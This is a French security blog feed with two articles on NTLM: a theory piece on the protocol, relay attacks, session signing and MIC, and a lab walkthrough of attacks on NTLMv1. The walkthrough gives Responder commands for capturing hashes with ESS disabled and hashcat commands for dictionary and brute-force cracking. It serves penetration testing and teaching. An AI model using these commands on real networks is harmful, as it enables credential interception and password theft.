</div>]]></content:encoded></item><item><title><![CDATA[Les faiblesses du protocole NTLM]]></title><description><![CDATA[NTLM est un des protocoles utilisés dans les mécanismes d'authentification des environnements Windows. De nombreuses vulnérabilités sont présentes au sein de ce protocole. Nous allons nous intéresser dans cet article à celles de sa première version :...]]></description><link>https://blog.login-securite.com/les-faiblesses-du-protocole-ntlm</link><guid isPermaLink="true">https://blog.login-securite.com/les-faiblesses-du-protocole-ntlm</guid><dc:creator><![CDATA[Login Sécurité]]></dc:creator><pubDate>Mon, 04 Aug 2025 11:49:01 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1754244686303/b5e6ad56-f949-4934-9085-e0f789e086d8.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>NTLM est un des protocoles utilisés dans les mécanismes d'authentification des environnements Windows. De nombreuses vulnérabilités sont présentes au sein de ce protocole. Nous allons nous intéresser dans cet article à celles de sa première version : NTLMv1</p>
<p>NTLM est un des protocoles utilisés dans les mécanismes d'authentification des environnements Windows. Il est encore très présent malgré le fait que Microsoft essaye de le pousser vers la sortie au profit de Kerberos.</p>
<p>En effet, de nombreuses vulnérabilités sont présentes au sein de ce protocole. Nous allons nous intéresser dans cet article à celles de sa première version : NTLMv1.</p>
<p>Les attaques décrites dans cette série d'articles seront effectuées dans un environnement à jour, avec tous les patches de sécurité installés sur les clients comme sur les serveurs/contrôleurs de domaine (au 13/02/2025, date d'écriture de cet article). Nous partirons, bien sûr, du principe que les administrateurs ont activé les réponses NTLMv1 sur les contrôleurs de domaine puisque c'est le sujet de l'article (notre expérience en pentest interne nous montre que ça n'est pas si rare que ça pourrait en avoir l'air).</p>
<p>Nous commencerons par une rapide explication du fonctionnement du protocole.</p>
<p>Ensuite, nous aborderons le sujet du relais NTLM, puis nous continuerons avec les différences entre les versions 1 et 2 du protocole.</p>
<p>Dans l'article suivant, nous mettrons en place une série d'attaques permises par la version 1 du protocole.</p>
<p>Enfin, dans le dernier article, nous parlerons des remédiations et de comment limiter l'impact de leurs mises en place.</p>
<h1 id="heading-le-protocole-ntlm">Le protocole NTLM</h1>
<h2 id="heading-quest-ce-que-ntlm"><strong>Qu'est-ce que NTLM</strong></h2>
<p>Dans un environnement Active Directory NTLM peut être utilisé pour la phase d'authentification pour de nombreux protocoles. On le retrouve le plus souvent lors de l'utilisation de LDAP, SMB ou encore HTTP.</p>
<p>L'authentification via le protocole NTLM est relativement simple à expliquer puisqu’elle se limite à 3 requêtes :</p>
<ul>
<li><p>NEGOCIATE</p>
</li>
<li><p>CHALLENGE</p>
</li>
<li><p>AUTHENTICATE</p>
</li>
</ul>
<p>‍<strong><em>NEGOCIATE</em></strong></p>
<p>C'est la première requête. Le client demande à s'authentifier auprès du serveur. Il lui fournit son nom d'utilisateur.</p>
<p><strong><em>CHALLENGE</em></strong></p>
<p>La réponse du serveur à NEGOCIATE. Celui-ci génère et fournit dans la requête, une chaine de 16 caractères hexadécimaux appelés "challenge".</p>
<p><strong><em>AUTHENTICATE</em></strong></p>
<p>Dernière requête. Le client calcule la réponse NTLM en utilisant le challenge envoyé par le serveur et un dérivé du mot de passe de l'utilisateur (son secret).</p>
<p>Des schémas expliquant le mécanisme d'authentification du protocole NTLM sont disponibles à peu près partout sur internet mais pour une question de droit d'auteur, nous allons en utiliser un nouveau qui ressemblera à tous les autres :</p>
<p><img src="https://cdn.prod.website-files.com/66b4f677818acbec83587b15/688b5452cebe4b3078d6ade4_688b54415f65dd652026d625_NTLM_schematics.png" alt="Schéma des requêtes NTLM" class="image--center mx-auto" /></p>
<p>Pour résumer rapidement, voici comment tout ça fonctionne :</p>
<ul>
<li><p>‍<strong>NEGOCIATE</strong> : demande d'authentification du client<strong>‍</strong></p>
</li>
<li><p><strong>CHALLENGE</strong> : réponse du serveur avec le challenge<strong>‍</strong></p>
</li>
<li><p><strong>AUTHENTICATE</strong> : calcul et envoi de la réponse NTLM</p>
</li>
</ul>
<p>‍</p>
<p><strong><em>Validation</em></strong>‍</p>
<p>Le serveur doit maintenant vérifier que la réponse apportée par le client est correcte et si c'est le cas, il accepte l'authentification. Pour ça il doit être en possession du challenge utilisé ainsi que du secret du client.</p>
<p>Pour le challenge c'est facile, c'est lui qui l'a généré. Pour le secret, il existe deux possibilités :</p>
<p>‍</p>
<p><strong>Le serveur connait le secret :</strong></p>
<p>C'est le cas pour une authentification avec un utilisateur local au serveur ou vers un contrôleur de domaine.</p>
<p>Le serveur est en mesure de calculer lui-même la réponse NTLM (secret + challenge). Il la compare alors avec celle envoyée par le client, si elles sont identiques : bravo, l'utilisateur a prouvé qu'il était en procession de son secret, il peut s'authentifier. Sinon, l'authentification est refusée.</p>
<p><img src="https://cdn.prod.website-files.com/66b4f677818acbec83587b15/688b54b1d5836c1dedfce738_688b54ab5f65dd652026f11a_NTLM_localAuth.png" alt /></p>
<p>Calcul de la réponse NTLM par le serveur</p>
<p><strong>Le serveur NE connait PAS le secret:</strong></p>
<p>Dans ce cas, si nous sommes dans unenvironnement Active Directory, le serveur va demander à quelqu'un qui connaitle secret de l'utilisateur de valider l'authentification : un contrôleur dedomaine (DC).</p>
<p>Le serveur va donc envoyer au contrôleur de domaine <strong>le challenge</strong> qu'il avait généré pour le client, <strong>le nom de l'utilisateur</strong> qui essaye de s'authentifier ainsi que <strong>la réponse NTLM</strong> que ce dernier a apportée. Cette étape constitue la requête NETLOGON.</p>
<p>Avec ces informations, le contrôleur de domaine est en mesure de calculer la réponse NTLM et ainsi de vérifier la validité de celle renvoyée par le client. Il répondra finalement au serveur en l'informant de la réussite ou nom de l'authentification.</p>
<p>On va reprendre le schéma précédent en y ajoutant ces nouvelles étapes pour que ça soit plus clair :</p>
<p>‍</p>
<p><img src="https://cdn.prod.website-files.com/66b4f677818acbec83587b15/688b5568d5836c1dedfdbd66_688b555b4439adb37b55a74b_NTLM_netlogon.png" alt /></p>
<p>Authentification NTLM via NETLOGON</p>
<p>Les explications ci-dessus sont en fait un résumé de ce qui se passe lors de l'authentification. Un excellent article en langue française, écrit par <a target="_blank" href="https://x.com/HackAndDo/status/1245383029222187014"><strong>Pixis</strong></a> explique en détail le <a target="_blank" href="https://beta.hackndo.com/ntlm-relay/"><strong>fonctionnement de NTLM.</strong></a> On vous le conseille, c'est très bien expliqué.</p>
<p>‍</p>
<h1 id="heading-le-relais-ntlm">Le relais NTLM</h1>
<p>La grande majorité des attaques liées à NTLM nécessitent que l'attaquant relaie des requêtes d'authentification. Nous allons voir ici pourquoi et comment ça marche.</p>
<h2 id="heading-theorie"><strong>Théorie</strong></h2>
<p>Si l'attaquant est en mesure de recevoir une requête NEGOCIATE émise depuis un véritable client (par exemple en se positionnant en man-in-the-middle), il lui sera possible de relayer cette requête vers la machine de son choix afin de s'authentifier au nom du client légitime.</p>
<p>Pour résumer, l'attaquant joue simplement le rôle de passe-plat jusqu'à la fin de l'authentification.</p>
<p>‍</p>
<p><img src="https://cdn.prod.website-files.com/66b4f677818acbec83587b15/688b55a4d5836c1dedfdfb33_688b5598d5836c1dedfdebba_RelayTheory.png" alt /></p>
<p>Attaque par relais de l’authentification</p>
<p><strong>Petite explication :</strong></p>
<p>‍</p>
<ol>
<li><p>Le client envoie la requête <strong>NEGOCIATE</strong> vers l'attaquant qui la transmet telle quelle au serveur ciblé. L'authentification est initiée.</p>
</li>
<li><p>Le serveur génère et envoie le <strong>challenge</strong> à la machine de l'attaquant qui le relai vers le client légitime.</p>
</li>
<li><p>Le client calcule la <strong>réponse</strong> NTLM à l'aide du mot de passe de son utilisateur et une nouvelle fois, l'envoie vers l'attaquant qui transmet au serveur.</p>
</li>
<li><p>Le serveur valide l'authentification qui, de son point de vue, provient de l'attaquant.</p>
</li>
<li><p>L'attaquant est maintenant authentifié auprès du serveur en tant que l'utilisateur du client.</p>
</li>
</ol>
<p>Tout au long des échanges, l'attaquant joue donc le rôle de serveur (du point de vue du client) et de client (du point de vue du serveur cible).</p>
<p>Si par exemple il s'agissait d'une authentification permettant l'accès au serveur via SMB, l'attaquant serait alors en mesure de parcourir les répertoires lisibles par l'utilisateur légitime dont il a usurpé la connexion.</p>
<p>Enfin c'est le cas uniquement si la signature des échanges n'a pas été négociée ...</p>
<h2 id="heading-signature"><strong>Signature</strong></h2>
<h3 id="heading-quest-ce-que-cest"><strong>Qu'est-ce que c'est</strong></h3>
<p>La signature des échanges est un mécanisme de sécurité qui peut être négocié entre le client et le serveur pendant l'authentification. Son rôle est d'assurer aux deux parties que chacune d'entre elles est bien qui elle prétend être.</p>
<p>Elle s'applique sur la session, c'est-à-dire sur tous les échanges qui ont lieu après l'authentification (par exemple lors du listage ou du parcours des répertoires d'un partage SMB).</p>
<p>Si la signature a été négociée, chaque requête de la session devra contenir une signature qui est dérivée du secret de l'utilisateur et du contenu de ladite requête. La signature ne peut donc être valide que si l'émetteur de la requête connait le secret de l'utilisateur.</p>
<p>De ce fait, même si un attaquant a réussi la phase d'authentification grâce à une attaque par relai, il ne sera pas en mesure de signer les messages de la session. Le serveur rejettera donc la suite de la communication.</p>
<h3 id="heading-negociation"><strong>Négociation</strong></h3>
<p>Suivant les protocoles utilisés, la signature peut se négocier de différente façon. Sans entrer dans les détails, il faut retenir qu'il s'agit d'un drapeau défini, ou non, par les deux parties.</p>
<p>Si tout le monde est d'accord, on signe. Dans les faits c'est un peu plus complexe puisque suivant la valeur des différents drapeaux, la signature peut être obligatoire ("require") ou optionnelle ("enable").</p>
<p>Dans le cas où elle est obligatoire, si une des deux parties n'est pas en mesure de signer, alors la communication ne se poursuit pas.</p>
<p>Si elle est optionnelle, on continue sans signature.</p>
<p>Le drapeau définissant si la signature a été négociée est <strong>Negociate Always Signing.</strong></p>
<p>‍</p>
<p><img src="https://cdn.prod.website-files.com/66b4f677818acbec83587b15/688b55f15f65dd652027a26c_688b55e940b28e1c65d27155_NTLM_SigningFlag.png" alt /></p>
<p>Drapeau Negociate Always Sign</p>
<p>Retenez simplement que si signature il y a, les attaques se basant sur le relai deviennent impossibles.</p>
<h3 id="heading-alteration"><strong>Altération</strong></h3>
<p>Comme nous l'avons vu, toutes les requêtes de la phase d'authentification passent par l'attaquant.</p>
<p>Si on ajoute à cela le fait que la négociation de la mise en place de la signature se fait justement pendant cette phase, alors pourquoi ne pas simplement altérer les requêtes pour négocier le fait de ne PAS signer la session?</p>
<p>Et bien c'est possible, du moins dans certains cas.</p>
<p>Si aucune des deux parties ne requiert la négociation (celle-ci est donc optionnelle), alors on va pouvoir changer les drapeaux pour signifier au client et au serveur qu'on ne souhaite pas signer la session qui suit.</p>
<p>Nous en reparlerons dans le chapitre suivant.</p>
<p>‍</p>
<h1 id="heading-les-deux-versions-de-ntlm">Les deux versions de NTLM</h1>
<p>Le protocole NTLM connait actuellement deux versions. La version 2 apporte son lot de sécurités, notamment dans le contenu de la requête AUTHENTICATE. Nous allons en décrire quelques-unes dans les lignes qui suivent.</p>
<p>Dans ce chapitre, on va un peu parler de cryptographie (sans entrer dans les détails). Retenez simplement ce qu'est un <strong>hash NT</strong> : il s'agit du hash MD4 du mot de passe de l'utilisateur. Pour simplifier, c'est un dérivé de son mot de passe.</p>
<h2 id="heading-calcul-de-la-reponse-ntlm-mecanisme-de-chiffrement"><strong>Calcul de la réponse NTLM - mécanisme de chiffrement</strong></h2>
<p>Comme décrit plus haut, le <strong>hash NT</strong> de l'utilisateur est utilisé dans le mécanisme de calcul de la réponse au challenge, envoyé par le serveur (AUTHENTICATE). Sans trop entrer dans les détails, voici les différences notables qu'il existe dans ce calcul pour les deux versions de NTLM.</p>
<p><strong>En version 1</strong>, la réponse au challenge est calculée en utilisant un chiffrement de type DES (Data Encryption Standard). DES est un algorithme de chiffrement par bloc, dont la faiblesse et la facilité de cassage sont maintenant reconnues.</p>
<p>Ainsi, le Hash NT est utilisé comme clé pour chiffrer le challenge, via l'algorithme DES :</p>
<p><img src="https://cdn.prod.website-files.com/66b4f677818acbec83587b15/688b578f8740e9aa8faf8781_688b56adccbeb036f9db87a8_DES.png" alt /></p>
<p>‍</p>
<p>Voici concrètement à quoi ça ressemble dans la requête <strong>AUTHENTICATE</strong> :</p>
<p><img src="https://cdn.prod.website-files.com/66b4f677818acbec83587b15/688b578f8740e9aa8faf878a_688b56c6747479faa9a4eb28_NTLMv1Response.png" alt /></p>
<p>Réponse NTLMv1</p>
<p>DES étant un algorithme très faible, la récupération du mot de passe de l'utilisateur par le cassage de la réponse est tout à fait envisageable, mais nous y reviendrons dans l’article sur les attaques.‍</p>
<p><strong>La version 2</strong> utilise quant à elle un algorithme de type HMAC basé sur MD5, qui présente une sécurité bien plus robuste face aux tentatives de cassage par brute force.</p>
<p>Il reste cependant possible de mettre en œuvre des attaques de cassage par dictionnaires, mais cela demandera beaucoup plus de temps qu'avec la version 1.</p>
<p>Voici comment est calculée la réponse pour NTLMv2:</p>
<p><img src="https://cdn.prod.website-files.com/66b4f677818acbec83587b15/688b578f8740e9aa8faf878d_688b574bd391f817cb9449ad_hv2.png" alt /></p>
<p>Ce qui, une fois les variables remplacées, donne :</p>
<p><img src="https://cdn.prod.website-files.com/66b4f677818acbec83587b15/688b578f8740e9aa8faf8784_688b575527183a3b84e3faf6_hv22.png" alt /></p>
<p>Alors comme ça, c'est sûr, on n’y comprend pas forcément grand-chose mais on peut déjà remarquer une plus grande complexité dans ce calcul que dans celui de la version 1, via l'utilisation de plus de paramètres (on y reviendra plus tard) et surtout la présence de plusieurs fois l'utilisation de HMAC.</p>
<p>Le contenu d'AUTHENTICATE pour la version 2 :</p>
<p><img src="https://cdn.prod.website-files.com/66b4f677818acbec83587b15/688b578f8740e9aa8faf8790_688b5774436b0d1a3b6b89aa_NTLMv2Response.png" alt /></p>
<p>Réponse NTLMv2</p>
<p>‍</p>
<p>On remarque que bien plus de données sont disponibles dans cette réponse que dans celle présentée plus haut. On va s'y intéresser, c'est la suite de cet article.</p>
<p>Le détail des calculs présentés ici est disponible dans la documentation Microsoft pour <a target="_blank" href="https://constellationholding.sharepoint.com/sites/loginsecurite2/Documents%20partages/04%20-%20Marketing%20et%20Communication/07%20-%20Blog/drafts/NTLM/Th%C3%A9orie/NTLM%20v1"><strong>NTLM v1</strong></a> et <a target="_blank" href="https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/5e550938-91d4-459f-b67d-75d70009e3f3"><strong>NTLM v2</strong></a>.</p>
<p>‍</p>
<p><em>Note : nous ne nous sommes intéressés ici qu'à l'utilisation de hash NT. Un hash LM peut également être utilisé mais cette pratique est plus que déconseillée puisque les mécanismes de chiffrement en jeu sont, dans ce cas, encore plus faible. Il devient plus que trivial de casser les mots de passe lors de son utilisation.</em></p>
<h2 id="heading-contenu-de-la-reponse"><strong>Contenu de la réponse</strong></h2>
<p>Nous avons pu voir précédemment que le contenu des réponses NTLM n'est pas du tout le même suivant la version du protocole.</p>
<p>Pour NTLMv1, c'est facile, c'est juste le résultat d'un chiffrement DES. Les données présentes dans la réponse NTLMv2 sont bien plus intéressantes car elles ajoutent quelques mécanismes de sécurité.</p>
<p>Reprenons le contenu de la requête AUTHENTICATE en version 2 :</p>
<p>‍</p>
<p><img src="https://cdn.prod.website-files.com/66b4f677818acbec83587b15/688b57e6cebe4b3078d95e55_688b57a85f65dd6520285569_AV_Flags.png" alt /></p>
<p>AV Pairs</p>
<p>‍</p>
<p>On remarque toute une série d'attributs qui n'étaient pas présents dans la réponse NTLMv1. Il s'agit des AV Pairs (Attribut/Value Pairs).</p>
<p>Ils contiennent des informations permettant de sécuriser et d'identifier la requête (noms DNS/NETBIOS du serveur cible et de son domaine). Nous verrons par la suite pourquoi ils sont importants.</p>
<h2 id="heading-message-integrity-code-mic"><strong>Message Integrity Code (MIC)</strong></h2>
<p>Une des sécurités mises en place sur le protocole NTLM est l'ajout d'un contrôle d'intégrité sur la requête AUTHENTICATE.</p>
<p>Sa fonction est de vérifier que le contenu de cette requête n'a pas été modifié. Ce rôle est rempli par le MIC.</p>
<p>Comme pour la signature, un drapeau indique s'il doit être utilisé. Il s'agit de "Negociate Sign" (oui, ça ressemble au drapeau gérant la signature de session mais ça n'est pas le même).</p>
<p>‍</p>
<p><img src="https://cdn.prod.website-files.com/66b4f677818acbec83587b15/688b57e6cebe4b3078d95e58_688b57c0436b0d1a3b6bad7a_MIC_FLAG.png" alt /></p>
<p>Drapeau Negociate Sign</p>
<p>‍</p>
<p>Le MIC est calculé en reprenant, entre autre, le contenu de la réponse NTLM.</p>
<p>‍</p>
<p><img src="https://cdn.prod.website-files.com/66b4f677818acbec83587b15/688b57e6cebe4b3078d95e52_688b57de8740e9aa8fafc478_MIC.png" alt /></p>
<p>MIC</p>
<p><strong>Reprenons l'attaque par relai vue plus haut.</strong></p>
<p>On a dit qu'il était possible d'altérer les requêtes du processus d'authentification en changeant les drapeaux négociant la signature, pour désactiver cette dernière.</p>
<p>Cette technique devient impossible si le MIC est en place puisque si nous changeons le contenu de la réponse (en modifiant un drapeau), alors la valeur du MIC ne correspondra plus à celle indiquée dans la requête.</p>
<p>‍</p>
<p><strong>Mais qu'est-ce qui nous empêche de changer la valeur du MIC?</strong></p>
<p><strong>Pour NTLMv2</strong>, ça n'est pas possible.</p>
<p>Pour le comprendre, on va entrer plus en détail dans le calcul du MIC.</p>
<p>Comme indiqué précédemment, le calcul du MIC prend en compte le contenu de la réponse NTLM et en particulier le NTProof.</p>
<p><strong>Petit rappel :</strong></p>
<p><img src="https://cdn.prod.website-files.com/66b4f677818acbec83587b15/688b5936747479faa9a661f6_688b5913d391f817cb94d7d0_hash3.png" alt /></p>
<p>On remarque qu'il est calculé, entre autres à partir du Hash NT du secret de l'utilisateur, que nous ne possédons pas. Il n'est donc pas possible de fournir un MIC correct. Le serveur rejettera l'authentification.</p>
<p><strong>Et si on changeait la valeur des drapeaux pour faire croire au serveur que le client ne veut pas utiliser le MIC?</strong></p>
<p>Toujours à cause du contenu de la réponse, en NTLMv2 ça n'est pas possible.</p>
<p>Vous vous rappelez des AV PAIRS? L'un d'entre eux, nommé sobrement "Flags", indique si le MIC a été négocié. S'il est défini à 2, alors le MIC est utilisé.</p>
<p><img src="https://cdn.prod.website-files.com/66b4f677818acbec83587b15/688b5936747479faa9a661f9_688b5920c5a2dfc9d0b8481e_AV_Flags_MIC.png" alt /></p>
<p>Flags dans les AV Pairs</p>
<p>Cette valeur est contenue dans le calcul du MIC puisqu’intégrée à la réponse NTLMv2. Impossible donc de la modifier sans altérer le MIC.</p>
<p>En <strong>NTLMv1,</strong> par contre, aucune indication de ce type n'est présente dans la réponse puisqu'on a vu qu'il s'agit uniquement du chiffrement du challenge du serveur, avec le hash NT de l'utilisateur.</p>
<p>Rien ne nous empêche donc de changer les drapeaux et retirer le MIC de la réponse <strong>AUTHENTICATE</strong>. Sans MIC, on est également en mesure de modifier arbitrairement toute la requête et, par exemple, retirer la négociation de la signature.</p>
<p>Ainsi, <strong>en NTLMv1,</strong> si aucune des deux parties n'oblige l'utilisation de la signature, les attaques par relais aboutiront.</p>
<p>Gardez en tête que, à l'exception des contrôleurs de domaine, le comportement par défaut des machines Windows (serveurs ou non) est de proposer la signature sans l'obliger. On commence donc à comprendre pourquoi NTLMv1 est si dangereux.</p>
<p>On va maintenant pouvoir passer de la théorie à la pratique et se convaincre définitivement que l'utilisation de NTLMv1 dans un système d'information devrait être prohibée.</p>
<blockquote>
<p><em>Accrochez-vous, le FUN commence dans le prochain article</em></p>
</blockquote>
<p>‍</p>
<p><strong>Bibliographie et sources :</strong></p>
<ul>
<li><p>‍<a target="_blank" href="https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/c0250a97-2940-40c7-82fb-20d208c71e96"><strong>https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/c0250a97-2940-40c7-82fb-20d208c71e96</strong></a></p>
</li>
<li><p>‍<a target="_blank" href="https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/5e550938-91d4-459f-b67d-75d70009e3f3"><strong>https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/5e550938-91d4-459f-b67d-75d70009e3f3</strong></a></p>
</li>
<li><p><a target="_blank" href="https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/5e550938-91d4-459f-b67d-75d70009e3f3"><strong>‍</strong></a><a target="_blank" href="https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/83f5e789-660d-4781-8491-5f8c6641f75e"><strong>https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/83f5e789-660d-4781-8491-5f8c6641f75e</strong></a></p>
</li>
<li><p><a target="_blank" href="https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/83f5e789-660d-4781-8491-5f8c6641f75e"><strong>‍</strong></a><a target="_blank" href="https://beta.hackndo.com/ntlm-relay/"><strong>https://beta.hackndo.com/ntlm-relay/</strong></a></p>
</li>
<li><p><a target="_blank" href="https://beta.hackndo.com/ntlm-relay/"><strong>‍</strong></a><a target="_blank" href="https://medium.com/@petergombos/lm-ntlm-net-ntlmv2-oh-my-a9b235c58ed4"><strong>https://medium.com/@petergombos/lm-ntlm-net-ntlmv2-oh-my-a9b235c58ed4</strong></a></p>
</li>
<li><p><a target="_blank" href="https://medium.com/@petergombos/lm-ntlm-net-ntlmv2-oh-my-a9b235c58ed4"><strong>‍</strong></a><a target="_blank" href="https://www.calcomsoftware.com/why-ntlmv1-will-always-be-vulnerable-to-ntlm-relay-attacks/"><strong>https://www.calcomsoftware.com/why-ntlmv1-will-always-be-vulnerable-to-ntlm-relay-attacks/</strong></a></p>
</li>
<li><p><a target="_blank" href="https://www.calcomsoftware.com/why-ntlmv1-will-always-be-vulnerable-to-ntlm-relay-attacks/"><strong>‍</strong></a><a target="_blank" href="https://securityboulevard.com/2022/08/ntlmv1-vs-ntlmv2-digging-into-an-ntlm-downgrade-attack/"><strong>https://securityboulevard.com/2022/08/ntlmv1-vs-ntlmv2-digging-into-an-ntlm-downgrade-attack/</strong></a></p>
</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[Attaques sur le protocole NTLMv1]]></title><description><![CDATA[Introduction
Cet article a pour but de montrer quelques-unes des attaques existantes sur la version 1 du protocole NTLM.
La majorité d’entre elles demande que l’attaquant se retrouve à un moment ou un autre en position de man-in-the-middle lui permet...]]></description><link>https://blog.login-securite.com/attaques-sur-le-protocole-ntlmv1</link><guid isPermaLink="true">https://blog.login-securite.com/attaques-sur-le-protocole-ntlmv1</guid><dc:creator><![CDATA[Login Sécurité]]></dc:creator><pubDate>Mon, 04 Aug 2025 11:48:38 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1754245313882/4a4b2261-72c5-4d01-a0be-fa7d152d7982.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1 id="heading-introduction">Introduction</h1>
<p>Cet article a pour but de montrer quelques-unes des attaques existantes sur la version 1 du protocole NTLM.</p>
<p>La majorité d’entre elles demande que l’attaquant se retrouve à un moment ou un autre en position de man-in-the-middle lui permettant de mettre en place les mécanismes de relais décrits dans le <a target="_blank" href="http://login-securite.com/blog/faiblesses-protocole-ntlm"><strong>précédent article</strong></a> sur le fonctionnement et les faiblesses de ce protocole.</p>
<p>Entrons tout de suite dans le vif du sujet.</p>
<h1 id="heading-1-les-outils">1. Les outils</h1>
<p>Dans cet article nous allons parler de quelques outils très fréquemment utilisés en Pentest ou par les attaquants :</p>
<p><strong>Responder</strong> : Permettra d’écouter le réseau sur de nombreux protocoles et d’opérer des modifications sur les paquets réseau interceptés, ou encore d’afficher les requêtes NTLM <strong>AUTHENTICATE</strong> qu’il voit passer.</p>
<p><strong>ntlmrelayx</strong> : servira à modifier et relayer les requêtes NTLM récupérées par notre machine en position de man-in-the-middle.</p>
<p><strong>Hashcat</strong> : pour toute action de bruteforce</p>
<p><strong>NetExec :</strong> pour les interactions avec le domaine (LE couteau suisse du pentester)</p>
<p><a target="_blank" href="http://PetitPotam.py"><strong>PetitPotam.py</strong></a> : outil permettant la coerce d’une machine (explication dans l’article)</p>
<p>‍‍</p>
<h1 id="heading-2-lenvironnement-de-test">2. L’environnement de test</h1>
<p>Il est composé de trois machines :</p>
<p><strong>DC01</strong> (192.168.56.10) <strong>et DC02</strong> (192.168.56.20) : les contrôleurs du domaine hardening.lab</p>
<p><strong>WKS01</strong> (192.168.56.107) : une machine cliente Windows 10 liée au domaine hardening.lab</p>
<p><strong>ATTAK01</strong> (192.168.56.1112) : la machine Debian de l’attaquant, non liée au domaine</p>
<p>‍‍</p>
<h1 id="heading-3-les-attaques">3. Les attaques</h1>
<p>Comme expliqué précédemment, notre machine d’attaque doit se trouver en position <strong>de man-in-the-middle</strong> pour être en mesure d’intercepter les requêtes NTLM provenant de machines légitimes.</p>
<p>Il existe de nombreuses façons d’obtenir ce statut (empoisonnement LLMNR, Netbios, mDNS, ARP, ajout d’un combo DHCP/DNS IPv6, …) mais ça n’est pas le sujet de cet article (peut-être d’un prochain ?).</p>
<p>Nous partirons du postulat que notre machine d’attaque est déjà dans cette position et qu’elle reçoit des requêtes NTLM.‍</p>
<h2 id="heading-31-les-attaques-par-force-brute"><strong>3.1. Les attaques par force brute</strong></h2>
<p>On commence par lancer <strong>Responder</strong> et attendre l’arrivée d’une authentification.</p>
<pre><code class="lang-bash">python3 responder.py -I enp0s8 -v --disable-ess
</code></pre>
<p>Explication des paramètres :</p>
<ul>
<li><p>-I : l’interface réseau en écoute</p>
</li>
<li><p>--disable-ess : force la désactivation de la sécurité ESS (si possible)</p>
</li>
<li><p>-v : mode verbeux</p>
</li>
</ul>
<p>‍</p>
<p>Après quelques instants, nous recevons une requête <strong>NEGOCIATE</strong> (première requête de l’authentification NTLM). Cela signifie que quelqu’un ou quelque chose tente de s’authentifier à nous.</p>
<p>Dans notre cas, c’est un lecteur réseau d’une machine qui ne trouve pas sa destination (par exemple si le serveur hébergeant le partage réseau est décommissionné). Il tombe ainsi dans le piège de notre empoisonnement LLMNR, qui nous permet d’être positionnés en man-in-the-middle.</p>
<p><strong>Responder</strong> va y répondre avec le challenge que nous avons fixé <strong>(CHALLENGE)</strong> et le client va chiffrer ce challenge avec le hash NT de son secret <strong>(AUTHENTICATE</strong>) comme nous l’avons vu dans le précédent article.</p>
<p>C’est le hash NTLM présent dans cette dernière requête que Responder nous affiche :</p>
<p>‍</p>
<p><img src="https://cdn.prod.website-files.com/66b4f677818acbec83587b15/688b51d6ccbeb036f9d70c3d_688b51120f30b3e6b941332c_GetHashNTLMv1.png" alt /></p>
<p>Hash NTLMv1 dans responder</p>
<p>Description des informations de l’image précédente :</p>
<ul>
<li><p><strong>En vert :</strong> le nom d’utilisateur qui initie l’authentification et le domaine auquel il est lié<strong>‍</strong></p>
</li>
<li><p><strong>En rouge :</strong> le hash NTLM (affiché deux fois)<strong>‍</strong></p>
</li>
<li><p><strong>En bleu</strong> : le challenge utilisé pour calculer le hash NTLM</p>
</li>
</ul>
<p>‍</p>
<p>Nous voilà en procession du hash NTLM de l’utilisateur user1 du domaine hardening.lab</p>
<h2 id="heading-32-hashcat-attaque-par-dictionnaire"><strong>3.2. Hashcat – attaque par dictionnaire</strong></h2>
<p>Il est maintenant possible de casser ce hash NTLM via l’utilisation du logiciel <strong>hashcat</strong>. Pour ce faire, on commence par ajouter le contenu de la réponse retournée par <strong>Responder</strong> dans un fichier :</p>
<p><img src="https://cdn.prod.website-files.com/66b4f677818acbec83587b15/688b51d6ccbeb036f9d70c3a_688b50e3af4c88cc399ed6f7_hashTxtFile.png" alt /></p>
<p>Fichier contenant le hash</p>
<p>On peut maintenant lancer le cassage par dictionnaire via la commande suivante :</p>
<pre><code class="lang-bash">hashcat -m 5500 hash.txt -a 0 rockyou.txt
</code></pre>
<p>Explication des paramètres :</p>
<ul>
<li><p>-m : le module hashcat à employer, 5500 correspond au format NTLMv1</p>
</li>
<li><p>Hash.txt : le fichier contenant notre hash</p>
</li>
<li><p>-a 0 : le type d’attaque à réaliser. Ici, attaque par dictionnaire</p>
</li>
<li><p>Rockyou.txt : le dictionnaire utilisé pour tenter de casser le hash.</p>
</li>
</ul>
<p>Le mot de passe a ainsi pu être retrouvé.</p>
<p><img src="https://cdn.prod.website-files.com/66b4f677818acbec83587b15/688b50cbcaf75f7074295b2d_688b50b7caf75f7074294963_HashCatDicoCrack.png" alt /></p>
<p>Mot de passe cassé grâce à un dictionnaire</p>
<h2 id="heading-33-hashcat-attaque-par-force-brute"><strong>3.3. Hashcat – attaque par force brute</strong></h2>
<p>Il n’est pas nécessaire d’utiliser un dictionnaire pour casser un hash NTLM. Il est possible de tenter toutes les combinaisons possibles jusqu’à trouver celle correspondant au mot de passe duquel le hash est dérivé.</p>
<p>Cette attaque est beaucoup plus longue mais reste efficace dans un temps raisonnable du fait du faible niveau de chiffrement du hash NTLMv1. Voici comment la mettre en œuvre.</p>
<pre><code class="lang-bash">hashcat -m 5500 ./hash.txt -a 3 -1 ?u?l?d?s ?u?1?1?1?1?1?1?1?1?1?1?1?1?1 -i
</code></pre>
<p>Explication des paramètres :</p>
<ul>
<li><p>-a 3 : le type d’attaque à réaliser. Ici, attaque par force brute</p>
</li>
<li><p>-1 ?u?l?d?s : définition d’un jeu de caractères (-1 représentera l’ensemble des caractères minuscules, majuscules, chiffres et spéciaux)</p>
</li>
<li><p>?u?1?1?1?1?1?1?1?1?1?1?1?1?1 : le masque à utiliser. Ici, la première lettre sera toujours en majuscule ( ?u), les suivantes proviendront du jeu de caractères défini ci-dessus</p>
</li>
<li><p>-i : utiliser la méthode incrémentale (d’abord 1 caractère, puis 2, puis 3, …)‍</p>
</li>
</ul>
